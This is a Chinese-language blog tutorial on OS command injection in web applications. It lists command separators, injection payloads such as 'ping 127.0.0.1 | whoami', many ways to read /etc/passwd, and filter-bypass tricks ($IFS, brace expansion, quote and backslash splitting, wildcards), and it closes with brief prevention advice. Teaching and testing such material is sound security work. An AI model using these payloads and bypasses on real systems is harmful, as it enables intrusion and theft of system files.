命令执行漏洞

命令执行漏洞

1.命令执行漏洞概要

命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅存在于B/S架构中,在C/S架构中也常常遇到

部分Web应用程序提供了一些命令执行的操作,例如,如果想测试http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞,如:ping 127.0.0.1 | whoami

2.连接符

|、 ||、&、&&、;

3.输出方式

cat:输出文件内容,如127.0.0.1 | cat /etc/passwd

tac:倒序输出

head:输出前几行

tail:输出后几行

grep:输出包含某一字符的行,如,grep '' /etc/passwd或grep . /etc/passwd(实际上这个点为正则表达式匹配)

例:127.0.0.1 | grep 'proxy' /etc/passwd

1

awk:awk {print} /etc/passwd

sed:sed '' /etc/passwd(同grep)

diff:对比两个文件,并输出他们的区别,diff /etc/passwd /etc/hostname

例:小于号是左边文件的内容,大于号是右边文件内容

2

less:less /etc/passwd

more:more /etc/passwd

od:二进制输出,od /etc/passwd

3

加上-a可以解码

4

xxd:xxd /etc/passwd

base64:可以对一个文件进行base64编码再输出

例:

5

再将其解码即可看到文件内容

curl:curl file:///etc/passwd(curl属于第三方软件包,不是所有Linux发行版都有

cp:cp /etc/passwd /dev/stdout

nl:按行号输出,nl /etc/passwd

sort:排序输出,sort /etc/passwd

uniq:uniq /etc/passwd

4.过滤绕过

空格过滤

①重定向符

cat</etc/passwd

cat<>/etc/passwd

②内部字段分隔符

cat${IFS}/etc/passwd

cat$IFS$9/etc/passwd

③变量绕过(bash中才可用)

{cat,/etc/passwd}

f=$'\20/etc/passwd'&&cat$f 定义变量f,f就是空格/etc/passwd

替换为空

双写:cacatt /etc/passwd

关键字过滤

①反斜杠分割

c\at /etc/passwd

②空字符串分割

ca''t /etc/passwd

文件名过滤

如,检测输入是否存在passwd

通配符

cat /etc/pa*:输出/etc下所有pa开头的文件

例:

6

5.漏洞防范

①尽量不要使用命令执行函数

②在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符转义

③ 在使用动态函数之前,确保使用的函数是指定的函数之一

④ 客户端提交的变量在进入执行命令函数前要做好过滤和检测

总结:对PHP语言来说,不能完全控制的危险函数最好不要使用

调用系统命令,本身就是非常危险的动作,开发过程中应尽量避免,实在无法
避免,应该进行严格过滤,白名单要比黑名单好点。尽量使用静态,例如需要
测试网络连通性,应内置一个ip地址,而不是让用户自行输入

posted @ 2023-01-18 18:24  佐迦  阅读(488)  评论(0编辑  收藏  举报